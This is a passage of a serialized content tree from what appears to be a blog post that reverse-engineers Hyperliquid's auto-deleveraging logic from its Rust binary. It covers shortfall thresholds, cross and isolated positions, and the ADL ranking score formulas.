source.",{"type":23,"tag":32,"props":157888,"children":157889},{},[157890,157892,157898],{"type":29,"value":157891},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":23,"tag":38,"props":157893,"children":157895},{"className":157894},[],[157896],{"type":29,"value":157897},"clearinghouse.perform_auto_deleveraging",{"type":29,"value":157899}," flag.",{"type":23,"tag":157531,"props":157901,"children":157905},{"addr":157902,"line-start":157903,"line-end":157904},"0x555556ac3850","3290","3301",[],{"type":23,"tag":32,"props":157907,"children":157908},{},[157909,157911,157916],{"type":29,"value":157910},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":23,"tag":38,"props":157912,"children":157914},{"className":157913},[],[157915],{"type":29,"value":157812},{"type":29,"value":1816},{"type":23,"tag":8287,"props":157918,"children":157920},{"id":157919},"threshold-condition",[157921],{"type":29,"value":157922},"Threshold Condition",{"type":23,"tag":32,"props":157924,"children":157925},{},[157926,157928,157933],{"type":29,"value":157927},"The natural connection between liquidations and ADL is ",{"type":23,"tag":47,"props":157929,"children":157930},{},[157931],{"type":29,"value":157932},"shortfall",{"type":29,"value":157934},": by how much a position, or the entire system (!), is underwater.",{"type":23,"tag":32,"props":157936,"children":157937},{},[157938],{"type":29,"value":157939},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":23,"tag":17563,"props":157941,"children":157943},{"id":157942},"who-is-underwater",[157944],{"type":29,"value":157945},"Who Is Underwater?",{"type":23,"tag":32,"props":157947,"children":157948},{},[157949,157951,157956,157958,157964],{"type":29,"value":157950},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":23,"tag":38,"props":157952,"children":157954},{"className":157953},[],[157955],{"type":29,"value":157856},{"type":29,"value":157957},", starting from all user positions, which are stored in ",{"type":23,"tag":38,"props":157959,"children":157961},{"className":157960},[],[157962],{"type":29,"value":157963},"clearinghouse.user_states",{"type":29,"value":157965},", as we can also see from the serialization.",{"type":23,"tag":157500,"props":157967,"children":157968},{},[157969],{"type":23,"tag":32,"props":157970,"children":157971},{},[157972],{"type":29,"value":157973},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":23,"tag":157531,"props":157975,"children":157979},{"source":157976,"target":157876,"direction":157977,"path":157978},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":23,"tag":32,"props":157981,"children":157982},{},[157983,157984,157989,157991,157997,157999,158005,158007,158013],{"type":29,"value":388},{"type":23,"tag":38,"props":157985,"children":157987},{"className":157986},[],[157988],{"type":29,"value":157976},{"type":29,"value":157990}," essentially turns that into an ",{"type":23,"tag":38,"props":157992,"children":157994},{"className":157993},[],[157995],{"type":29,"value":157996},"Iter",{"type":29,"value":157998},", then, inside of ",{"type":23,"tag":38,"props":158000,"children":158002},{"className":158001},[],[158003],{"type":29,"value":158004},"build_adl_candidate_set",{"type":29,"value":158006}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":23,"tag":38,"props":158008,"children":158010},{"className":158009},[],[158011],{"type":29,"value":158012},"AdlIterEntry",{"type":29,"value":56806},{"type":23,"tag":157531,"props":158015,"children":158017},{"type-name":158016},"AdlIterContext",[],{"type":23,"tag":32,"props":158019,"children":158020},{},[158021,158023,158029,158031,158037,158039,158045,158047,158052],{"type":29,"value":158022},"Note that in storage, ",{"type":23,"tag":38,"props":158024,"children":158026},{"className":158025},[],[158027],{"type":29,"value":158028},"Isolated",{"type":29,"value":158030}," positions have their own independent ",{"type":23,"tag":38,"props":158032,"children":158034},{"className":158033},[],[158035],{"type":29,"value":158036},"Entry",{"type":29,"value":158038}," in the position iterators, and ",{"type":23,"tag":38,"props":158040,"children":158042},{"className":158041},[],[158043],{"type":29,"value":158044},"Cross",{"type":29,"value":158046}," positions have a single common ",{"type":23,"tag":38,"props":158048,"children":158050},{"className":158049},[],[158051],{"type":29,"value":158036},{"type":29,"value":158053},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":23,"tag":157531,"props":158055,"children":158058},{"addr":158056,"line-start":42730,"line-end":158057},"0x555556266b10","163",[],{"type":23,"tag":32,"props":158060,"children":158061},{},[158062],{"type":29,"value":158063},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":23,"tag":157531,"props":158065,"children":158068},{"addr":157902,"line-start":158066,"line-end":158067},"506","527",[],{"type":23,"tag":32,"props":158070,"children":158071},{},[158072,158074],{"type":29,"value":158073},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":23,"tag":158075,"props":158076,"children":158079},"bndb-xref",{"lines":158077,"addrs":158078},"1-2","0x555556ac3e18-0x555556ac3e18",[158080],{"type":29,"value":158081},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":23,"tag":32,"props":158083,"children":158084},{},[158085,158087,158093,158095,158101,158103,158109,158111,158117],{"type":29,"value":158086},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":23,"tag":38,"props":158088,"children":158090},{"className":158089},[],[158091],{"type":29,"value":158092},"only_isolated",{"type":29,"value":158094}," (or ",{"type":23,"tag":38,"props":158096,"children":158098},{"className":158097},[],[158099],{"type":29,"value":158100},"strict_isolated",{"type":29,"value":158102}," in MessagePack dumps) are added to a separate queue, ",{"type":23,"tag":38,"props":158104,"children":158106},{"className":158105},[],[158107],{"type":29,"value":158108},"deferred_queue",{"type":29,"value":158110},", which triggers ADL regardless of the system's ",{"type":23,"tag":38,"props":158112,"children":158114},{"className":158113},[],[158115],{"type":29,"value":158116},"total_shortfall",{"type":29,"value":158118},". This is dictated by this branch.",{"type":23,"tag":157531,"props":158120,"children":158123},{"addr":157902,"line-start":158121,"line-end":158122},"211","243",[],{"type":23,"tag":32,"props":158125,"children":158126},{},[158127,158129,158136],{"type":29,"value":158128},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":23,"tag":55,"props":158130,"children":158133},{"href":158131,"rel":158132},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[59],[158134],{"type":29,"value":158135},"March 2025 incident",{"type":29,"value":158137},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":23,"tag":17563,"props":158139,"children":158141},{"id":158140},"how-do-we-get-rid-of-debt",[158142],{"type":29,"value":158143},"How Do We Get Rid of Debt?",{"type":23,"tag":32,"props":158145,"children":158146},{},[158147],{"type":29,"value":158148},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":23,"tag":32,"props":158150,"children":158151},{},[158152,158154,158159,158161,158166,158168,158173],{"type":29,"value":158153},"Thus, if the debt is insurmountable, the ",{"type":23,"tag":38,"props":158155,"children":158157},{"className":158156},[],[158158],{"type":29,"value":158108},{"type":29,"value":158160}," is overwritten by all the users marked by ",{"type":23,"tag":38,"props":158162,"children":158164},{"className":158163},[],[158165],{"type":29,"value":158004},{"type":29,"value":158167},", otherwise we keep it and only holders of underwater ",{"type":23,"tag":38,"props":158169,"children":158171},{"className":158170},[],[158172],{"type":29,"value":158100},{"type":29,"value":158174}," positions from the earlier loop are considered for ADL.",{"type":23,"tag":157500,"props":158176,"children":158177},{},[158178],{"type":23,"tag":32,"props":158179,"children":158180},{},[158181],{"type":29,"value":158182},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":23,"tag":157531,"props":158184,"children":158187},{"addr":157902,"line-start":158185,"line-end":158186},"523","526",[],{"type":23,"tag":32,"props":158189,"children":158190},{},[158191,158193,158199,158201,158207,158209,158214],{"type":29,"value":158192},"For each underwater position, we do a ",{"type":23,"tag":158075,"props":158194,"children":158196},{"addrs":158195},"0x555556ac42ad-0x555556ac42be",[158197],{"type":29,"value":158198},"B-tree lookup",{"type":29,"value":158200}," on ",{"type":23,"tag":38,"props":158202,"children":158204},{"className":158203},[],[158205],{"type":29,"value":158206},"clearinghouse.user_states[position.user]",{"type":29,"value":158208},", adding them to a ",{"type":23,"tag":38,"props":158210,"children":158212},{"className":158211},[],[158213],{"type":29,"value":15887},{"type":29,"value":158215}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":23,"tag":157531,"props":158217,"children":158220},{"addr":157902,"line-start":158218,"line-end":158219},"635","658",[],{"type":23,"tag":32,"props":158222,"children":158223},{},[158224],{"type":29,"value":158225},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":23,"tag":131,"props":158227,"children":158228},{},[158229],{"type":23,"tag":38,"props":158230,"children":158232},{"className":158231},[2658,157559],[158233],{"type":23,"tag":141,"props":158234,"children":158236},{"className":158235},[157564],[158237],{"type":23,"tag":141,"props":158238,"children":158240},{"className":158239},[2664],[158241],{"type":23,"tag":141,"props":158242,"children":158244},{"className":158243,"ariaHidden":2670},[2669],[158245],{"type":23,"tag":141,"props":158246,"children":158248},{"className":158247},[2675],[158249,158254],{"type":23,"tag":141,"props":158250,"children":158253},{"className":158251,"style":158252},[2680],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":23,"tag":141,"props":158255,"children":158257},{"className":158256},[2686],[158258],{"type":23,"tag":141,"props":158259,"children":158262},{"className":158260},[158261],"mtable",[158263,158343],{"type":23,"tag":141,"props":158264,"children":158267},{"className":158265},[158266],"col-align-r",[158268],{"type":23,"tag":141,"props":158269,"children":158271},{"className":158270},[2707,20314],[158272,158331],{"type":23,"tag":141,"props":158273,"children":158275},{"className":158274},[2712],[158276,158326],{"type":23,"tag":141,"props":158277,"children":158280},{"className":158278,"style":158279},[2717],"height:2.3452em;",[158281,158304],{"type":23,"tag":141,"props":158282,"children":158284},{"style":158283},"top:-4.3452em;",[158285,158290],{"type":23,"tag":141,"props":158286,"children":158289},{"className":158287,"style":158288},[2726],"height:3.3944em;",[],{"type":23,"tag":141,"props":158291,"children":158293},{"className":158292},[2686],[158294],{"type":23,"tag":141,"props":158295,"children":158297},{"className":158296},[2686,29],[158298],{"type":23,"tag":141,"props":158299,"children":158301},{"className":158300},[2686],[158302],{"type":29,"value":158303},"position_weight",{"type":23,"tag":141,"props":158305,"children":158307},{"style":158306},"top:-2.2092em;",[158308,158312],{"type":23,"tag":141,"props":158309,"children":158311},{"className":158310,"style":158288},[2726],[],{"type":23,"tag":141,"props":158313,"children":158315},{"className":158314},[2686],[158316],{"type":23,"tag":141,"props":158317,"children":158319},{"className":158318},[2686,29],[158320],{"type":23,"tag":141,"props":158321,"children":158323},{"className":158322},[2686],[158324],{"type":29,"value":158325},"position_adl_amount",{"type":23,"tag":141,"props":158327,"children":158329},{"className":158328},[20417],[158330],{"type":29,"value":20420},{"type":23,"tag":141,"props":158332,"children":158334},{"className":158333},[2712],[158335],{"type":23,"tag":141,"props":158336,"children":158339},{"className":158337,"style":158338},[2717],"height:1.8452em;",[158340],{"type":23,"tag":141,"props":158341,"children":158342},{},[],{"type":23,"tag":141,"props":158344,"children":158347},{"className":158345},[158346],"col-align-l",[158348],{"type":23,"tag":141,"props":158349,"children":158351},{"className":158350},[2707,20314],[158352,158553],{"type":23,"tag":141,"props":158353,"children":158355},{"className":158354},[2712],[158356,158548],{"type":23,"tag":141,"props":158357,"children":158359},{"className":158358,"style":158279},[2717],[158360,158488],{"type":23,"tag":141,"props":158361,"children":158362},{"style":158283},[158363,158367],{"type":23,"tag":141,"props":158364,"children":158366},{"className":158365,"style":158288},[2726],[],{"type":23,"tag":141,"props":158368,"children":158370},{"className":158369},[2686],[158371,158375,158379,158384,158388],{"type":23,"tag":141,"props":158372,"children":158374},{"className":158373},[2686],[],{"type":23,"tag":141,"props":158376,"children":158378},{"className":158377,"style":2863},[2766],[],{"type":23,"tag":141,"props":158380,"children":158382},{"className":158381},[2868],[158383],{"type":29,"value":1377},{"type":23,"tag":141,"props":158385,"children":158387},{"className":158386,"style":2863},[2766],[],{"type":23,"tag":141,"props":158389,"children":158391},{"className":158390},[2686],[158392,158396,158484],{"type":23,"tag":141,"props":158393,"children":158395},{"className":158394},[20389,112050],[],{"type":23,"tag":141,"props":158397,"children":158399},{"className":158398},[112055],[158400],{"type":23,"tag":141,"props":158401,"children":158403},{"className":158402},[2707,20314],[158404,158472],{"type":23,"tag":141,"props":158405,"children":158407},{"className":158406},[2712],[158408,158467],{"type":23,"tag":141,"props":158409,"children":158412},{"className":158410,"style":158411},[2717],"height:1.3944em;",[158413,158434,158445],{"type":23,"tag":141,"props":158414,"children":158415},{"style":157641},[158416,158420],{"type":23,"tag":141,"props":158417,"children":158419},{"className":158418,"style":110703},[2726],[],{"type":23,"tag":141,"props":158421,"children":158423},{"className":158422},[2686],[158424],{"type":23,"tag":141,"props":158425,"children":158427},{"className":158426},[2686,29],[158428],{"type":23,"tag":141,"props":158429,"children":158431},{"className":158430},[2686],[158432],{"type":29,"value":158433},"total_cross_notional",{"type":23,"tag":141,"props":158435,"children":158436},{"style":112105},[158437,158441],{"type":23,"tag":141,"props":158438,"children":158440},{"className":158439,"style":110703},[2726],[],{"type":23,"tag":141,"props":158442,"children":158444},{"className":158443,"style":112115},[112114],[],{"type":23,"tag":141,"props":158446,"children":158448},{"style":158447},"top:-3.7em;",[158449,158453],{"type":23,"tag":141,"props":158450,"children":158452},{"className":158451,"style":110703},[2726],[],{"type":23,"tag":141,"props":158454,"children":158456},{"className":158455},[2686],[158457],{"type":23,"tag":141,"props":158458,"children":158460},{"className":158459},[2686,29],[158461],{"type":23,"tag":141,"props":158462,"children":158464},{"className":158463},[2686],[158465],{"type":29,"value":158466},"position_notional",{"type":23,"tag":141,"props":158468,"children":158470},{"className":158469},[20417],[158471],{"type":29,"value":20420},{"type":23,"tag":141,"props":158473,"children":158475},{"className":158474},[2712],[158476],{"type":23,"tag":141,"props":158477,"children":158480},{"className":158478,"style":158479},[2717],"height:0.996em;",[158481],{"type":23,"tag":141,"props":158482,"children":158483},{},[],{"type":23,"tag":141,"props":158485,"children":158487},{"className":158486},[20411,112050],[],{"type":23,"tag":141,"props":158489,"children":158490},{"style":158306},[158491,158495],{"type":23,"tag":141,"props":158492,"children":158494},{"className":158493,"style":158288},[2726],[],{"type":23,"tag":141,"props":158496,"children":158498},{"className":158497},[2686],[158499,158503,158507,158512,158516,158526,158530,158535,158539],{"type":23,"tag":141,"props":158500,"children":158502},{"className":158501},[2686],[],{"type":23,"tag":141,"props":158504,"children":158506},{"className":158505,"style":2863},[2766],[],{"type":23,"tag":141,"props":158508,"children":158510},{"className":158509},[2868],[158511],{"type":29,"value":1377},{"type":23,"tag":141,"props":158513,"children":158515},{"className":158514,"style":2863},[2766],[],{"type":23,"tag":141,"props":158517,"children":158519},{"className":158518},[2686,29],[158520],{"type":23,"tag":141,"props":158521,"children":158523},{"className":158522},[2686],[158524],{"type":29,"value":158525},"user_shortfall",{"type":23,"tag":141,"props":158527,"children":158529},{"className":158528,"style":2767},[2766],[],{"type":23,"tag":141,"props":158531,"children":158533},{"className":158532},[2772],[158534],{"type":29,"value":109794},{"type":23,"tag":141,"props":158536,"children":158538},{"className":158537,"style":2767},[2766],[],{"type":23,"tag":141,"props":158540,"children":158542},{"className":158541},[2686,29],[158543],{"type":23,"tag":141,"props":158544,"children":158546},{"className":158545},[2686],[158547],{"type":29,"value":158303},{"type":23,"tag":141,"props":158549,"children":158551},{"className":158550},[20417],[158552],{"type":29,"value":20420},{"type":23,"tag":141,"props":158554,"children":158556},{"className":158555},[2712],[158557],{"type":23,"tag":141,"props":158558,"children":158560},{"className":158559,"style":158338},[2717],[158561],{"type":23,"tag":141,"props":158562,"children":158563},{},[],{"type":23,"tag":32,"props":158565,"children":158566},{},[158567],{"type":29,"value":158568},"We do that here:",{"type":23,"tag":157531,"props":158570,"children":158573},{"addr":157902,"line-start":158571,"line-end":158572},"828","981",[],{"type":23,"tag":32,"props":158575,"children":158576},{},[158577,158578,158584,158586,158592],{"type":29,"value":388},{"type":23,"tag":158075,"props":158579,"children":158581},{"lines":158580},"77-79",[158582],{"type":29,"value":158583},"inner loop",{"type":29,"value":158585}," above spans all ",{"type":23,"tag":38,"props":158587,"children":158589},{"className":158588},[],[158590],{"type":29,"value":158591},"(asset_idx, direction)",{"type":29,"value":158593}," held in the cross margin position.",{"type":23,"tag":32,"props":158595,"children":158596},{},[158597,158599,158605,158607,158613,158614,158620],{"type":29,"value":158598},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":23,"tag":38,"props":158600,"children":158602},{"className":158601},[],[158603],{"type":29,"value":158604},"adl_output",{"type":29,"value":158606}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":23,"tag":38,"props":158608,"children":158610},{"className":158609},[],[158611],{"type":29,"value":158612},"position_id",{"type":29,"value":313},{"type":23,"tag":38,"props":158615,"children":158617},{"className":158616},[],[158618],{"type":29,"value":158619},"position_shortfall",{"type":29,"value":322},{"type":23,"tag":157531,"props":158622,"children":158625},{"addr":157902,"line-start":158623,"line-end":158624},"2377","2469",[],{"type":23,"tag":32,"props":158627,"children":158628},{},[158629,158631,158637],{"type":29,"value":158630},"Afterwards we can finally loop over the B-tree containing ",{"type":23,"tag":38,"props":158632,"children":158634},{"className":158633},[],[158635],{"type":29,"value":158636},"(position_id, cut)",{"type":29,"value":158638},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":23,"tag":32,"props":158640,"children":158641},{},[158642,158644,158649],{"type":29,"value":158643},"The final phase of ",{"type":23,"tag":38,"props":158645,"children":158647},{"className":158646},[],[158648],{"type":29,"value":157856},{"type":29,"value":158650}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":23,"tag":157531,"props":158652,"children":158655},{"addr":157902,"addr-start":158653,"addr-end":158654},"0x555556ac6d52","0x555556ac6de8",[],{"type":23,"tag":32,"props":158657,"children":158658},{},[158659],{"type":29,"value":158660},"How are positions chosen (sorted) to be deleveraged?",{"type":23,"tag":33843,"props":158662,"children":158664},{"id":158663},"who-do-we-deleverage",[158665],{"type":29,"value":158666},"Who Do We Deleverage?",{"type":23,"tag":32,"props":158668,"children":158669},{},[158670],{"type":29,"value":158671},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":23,"tag":32,"props":158673,"children":158674},{},[158675],{"type":29,"value":158676},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":23,"tag":32,"props":158678,"children":158679},{},[158680,158682,158689],{"type":29,"value":158681},"More formally, fairness can be given multiple related definitions; see ",{"type":23,"tag":55,"props":158683,"children":158686},{"href":158684,"rel":158685},"https://arxiv.org/abs/2512.01112",[59],[158687],{"type":29,"value":158688},"this paper",{"type":29,"value":158690},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":23,"tag":32,"props":158692,"children":158693},{},[158694],{"type":29,"value":158695},"So, is Hyperliquid fair? Is it always solvent?",{"type":23,"tag":24,"props":158697,"children":158699},{"id":158698},"adl-score-computation",[158700],{"type":29,"value":158701},"ADL Score Computation",{"type":23,"tag":32,"props":158703,"children":158704},{},[158705,158707,158713,158715,158721,158723,158728],{"type":29,"value":158706},"The score function at ",{"type":23,"tag":38,"props":158708,"children":158710},{"className":158709},[],[158711],{"type":29,"value":158712},"compute_adl_ranking_score",{"type":29,"value":158714}," is core to answering this question. It's defined, most likely as an ",{"type":23,"tag":38,"props":158716,"children":158718},{"className":158717},[],[158719],{"type":29,"value":158720},"Ord",{"type":29,"value":158722}," implementation on some 20-byte address representation. A ",{"type":23,"tag":38,"props":158724,"children":158726},{"className":158725},[],[158727],{"type":29,"value":15887},{"type":29,"value":158729}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":23,"tag":32,"props":158731,"children":158732},{},[158733,158735,158740,158742,158748,158750,158757,158759,158766],{"type":29,"value":158734},"Those sort routines are ",{"type":23,"tag":47,"props":158736,"children":158737},{},[158738],{"type":29,"value":158739},"generated by the compiler",{"type":29,"value":158741},": since Rust binaries include a lot of metadata by default in ",{"type":23,"tag":38,"props":158743,"children":158745},{"className":158744},[],[158746],{"type":29,"value":158747},".comment",{"type":29,"value":158749},", we may even manually ",{"type":23,"tag":55,"props":158751,"children":158754},{"href":158752,"rel":158753},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[59],[158755],{"type":29,"value":158756},"take advantage",{"type":29,"value":158758}," of this to recover the ",{"type":23,"tag":55,"props":158760,"children":158763},{"href":158761,"rel":158762},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[59],[158764],{"type":29,"value":158765},"exact source of library functions",{"type":29,"value":322},{"type":23,"tag":32,"props":158768,"children":158769},{},[158770,158772,158777],{"type":29,"value":158771},"Let's see how this ties back into the ",{"type":23,"tag":38,"props":158773,"children":158775},{"className":158774},[],[158776],{"type":29,"value":157856},{"type":29,"value":114},{"type":23,"tag":157531,"props":158779,"children":158781},{"source":157856,"target":158712,"direction":157857,"path":158780},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":23,"tag":32,"props":158783,"children":158784},{},[158785],{"type":29,"value":158786},"And here's the main call site used for sorting:",{"type":23,"tag":157531,"props":158788,"children":158791},{"addr":157902,"line-start":158789,"line-end":158790},"2806","2814",[],{"type":23,"tag":24,"props":158793,"children":158795},{"id":158794},"ratio-1-effective-leverage",[158796],{"type":29,"value":158797},"Ratio 1: Effective Leverage",{"type":23,"tag":131,"props":158799,"children":158800},{},[158801],{"type":23,"tag":38,"props":158802,"children":158804},{"className":158803},[2658,157559],[158805],{"type":23,"tag":141,"props":158806,"children":158808},{"className":158807},[157564],[158809],{"type":23,"tag":141,"props":158810,"children":158812},{"className":158811},[2664],[158813],{"type":23,"tag":141,"props":158814,"children":158816},{"className":158815,"ariaHidden":2670},[2669],[158817,158848],{"type":23,"tag":141,"props":158818,"children":158820},{"className":158819},[2675],[158821,158825,158835,158839,158844],{"type":23,"tag":141,"props":158822,"children":158824},{"className":158823,"style":113587},[2680],[],{"type":23,"tag":141,"props":158826,"children":158828},{"className":158827},[2686,29],[158829],{"type":23,"tag":141,"props":158830,"children":158832},{"className":158831},[2686],[158833],{"type":29,"value":158834},"effective leverage",{"type":23,"tag":141,"props":158836,"children":158838},{"className":158837,"style":2863},[2766],[],{"type":23,"tag":141,"props":158840,"children":158842},{"className":158841},[2868],[158843],{"type":29,"value":1377},{"type":23,"tag":141,"props":158845,"children":158847},{"className":158846,"style":2863},[2766],[],{"type":23,"tag":141,"props":158849,"children":158851},{"className":158850},[2675],[158852,158857],{"type":23,"tag":141,"props":158853,"children":158856},{"className":158854,"style":158855},[2680],"height:2.113em;vertical-align:-0.686em;",[],{"type":23,"tag":141,"props":158858,"children":158860},{"className":158859},[2686],[158861,158865,158960],{"type":23,"tag":141,"props":158862,"children":158864},{"className":158863},[20389,112050],[],{"type":23,"tag":141,"props":158866,"children":158868},{"className":158867},[112055],[158869],{"type":23,"tag":141,"props":158870,"children":158872},{"className":158871},[2707,20314],[158873,158948],{"type":23,"tag":141,"props":158874,"children":158876},{"className":158875},[2712],[158877,158943],{"type":23,"tag":141,"props":158878,"children":158880},{"className":158879,"style":157637},[2717],[158881,158902,158913],{"type":23,"tag":141,"props":158882,"children":158883},{"style":157641},[158884,158888],{"type":23,"tag":141,"props":158885,"children":158887},{"className":158886,"style":110703},[2726],[],{"type":23,"tag":141,"props":158889,"children":158891},{"className":158890},[2686],[158892],{"type":23,"tag":141,"props":158893,"children":158895},{"className":158894},[2686,29],[158896],{"type":23,"tag":141,"props":158897,"children":158899},{"className":158898},[2686],[158900],{"type":29,"value":158901},"account value",{"type":23,"tag":141,"props":158903,"children":158904},{"style":112105},[158905,158909],{"type":23,"tag":141,"props":158906,"children":158908},{"className":158907,"style":110703},[2726],[],{"type":23,"tag":141,"props":158910,"children":158912},{"className":158911,"style":112115},[112114],[],{"type":23,"tag":141,"props":158914,"children":158915},{"style":157692},[158916,158920],{"type":23,"tag":141,"props":158917,"children":158919},{"className":158918,"style":110703},[2726],[],{"type":23,"tag":141,"props":158921,"children":158923},{"className":158922},[2686],[158924,158929,158938],{"type":23,"tag":141,"props":158925,"children":158927},{"className":158926},[2686],[158928],{"type":29,"value":157707},{"type":23,"tag":141,"props":158930,"children":158932},{"className":158931},[2686,29],[158933],{"type":23,"tag":141,"props":158934,"children":158936},{"className":158935},[2686],[158937],{"type":29,"value":157717},{"type":23,"tag":141,"props":158939,"children":158941},{"className":158940},[2686],[158942],{"type":29,"value":157707},{"type":23,"tag":141,"props":158944,"children":158946},{"className":158945},[20417],[158947],{"type":29,"value":20420},{"type":23,"tag":141,"props":158949,"children":158951},{"className":158950},[2712],[158952],{"type":23,"tag":141,"props":158953,"children":158956},{"className":158954,"style":158955},[2717],"height:0.686em;",[158957],{"type":23,"tag":141,"props":158958,"children":158959},{},[],{"type":23,"tag":141,"props":158961,"children":158963},{"className":158962},[20411,112050],[],{"type":23,"tag":32,"props":158965,"children":158966},{},[158967,158969,158975,158977,158983,158984,158990,158992,158998],{"type":29,"value":158968},"We can see in the decompilation below, through the SIMD noise, that ",{"type":23,"tag":38,"props":158970,"children":158972},{"className":158971},[],[158973],{"type":29,"value":158974},"abs_notional",{"type":29,"value":158976}," (unsigned), and ",{"type":23,"tag":38,"props":158978,"children":158980},{"className":158979},[],[158981],{"type":29,"value":158982},"float.d(rbx)",{"type":29,"value":4175},{"type":23,"tag":38,"props":158985,"children":158987},{"className":158986},[],[158988],{"type":29,"value":158989},"account_value",{"type":29,"value":158991}," (signed); the division is ",{"type":23,"tag":38,"props":158993,"children":158995},{"className":158994},[],[158996],{"type":29,"value":158997},"abs_notional / account_value",{"type":29,"value":322},{"type":23,"tag":32,"props":159000,"children":159001},{},[159002],{"type":29,"value":159003},"This tells us the risk multiplier that the user took on for this position.",{"type":23,"tag":157531,"props":159005,"children":159009},{"addr":159006,"line-start":159007,"line-end":159008},"0x555556abb140","278","296",[],{"type":23,"tag":24,"props":159011,"children":159013},{"id":159012},"ratio-2-profit-ratio",[159014],{"type":29,"value":159015},"Ratio 2: Profit Ratio",{"type":23,"tag":131,"props":159017,"children":159018},{},[159019],{"type":23,"tag":38,"props":159020,"children":159022},{"className":159021},[2658,157559],[159023],{"type":23,"tag":141,"props":159024,"children":159026},{"className":159025},[157564],[159027],{"type":23,"tag":141,"props":159028,"children":159030},{"className":159029},[2664],[159031],{"type":23,"tag":141,"props":159032,"children":159034},{"className":159033,"ariaHidden":2670},[2669],[159035,159066],{"type":23,"tag":141,"props":159036,"children":159038},{"className":159037},[2675],[159039,159043,159053,159057,159062],{"type":23,"tag":141,"props":159040,"children":159042},{"className":159041,"style":113587},[2680],[],{"type":23,"tag":141,"props":159044,"children":159046},{"className":159045},[2686,29],[159047],{"type":23,"tag":141,"props":159048,"children":159050},{"className":159049},[2686],[159051],{"type":29,"value":159052},"profit ratio",{"type":23,"tag":141,"props":159054,"children":159056},{"className":159055,"style":2863},[2766],[],{"type":23,"tag":141,"props":159058,"children":159060},{"className":159059},[2868],[159061],{"type":29,"value":1377},{"type":23,"tag":141,"props":159063,"children":159065},{"className":159064,"style":2863},[2766],[],{"type":23,"tag":141,"props":159067,"children":159069},{"className":159068},[2675],[159070,159074],{"type":23,"tag":141,"props":159071,"children":159073},{"className":159072,"style":157612},[2680],[],{"type":23,"tag":141,"props":159075,"children":159077},{"className":159076},[2686],[159078,159082,159201],{"type":23,"tag":141,"props":159079,"children":159081},{"className":159080},[20389,112050],[],{"type":23,"tag":141,"props":159083,"children":159085},{"className":159084},[112055],[159086],{"type":23,"tag":141,"props":159087,"children":159089},{"className":159088},[2707,20314],[159090,159190],{"type":23,"tag":141,"props":159091,"children":159093},{"className":159092},[2712],[159094,159185],{"type":23,"tag":141,"props":159095,"children":159097},{"className":159096,"style":157637},[2717],[159098,159119,159130],{"type":23,"tag":141,"props":159099,"children":159100},{"style":157641},[159101,159105],{"type":23,"tag":141,"props":159102,"children":159104},{"className":159103,"style":110703},[2726],[],{"type":23,"tag":141,"props":159106,"children":159108},{"className":159107},[2686],[159109],{"type":23,"tag":141,"props":159110,"children":159112},{"className":159111},[2686,29],[159113],{"type":23,"tag":141,"props":159114,"children":159116},{"className":159115},[2686],[159117],{"type":29,"value":159118},"entry 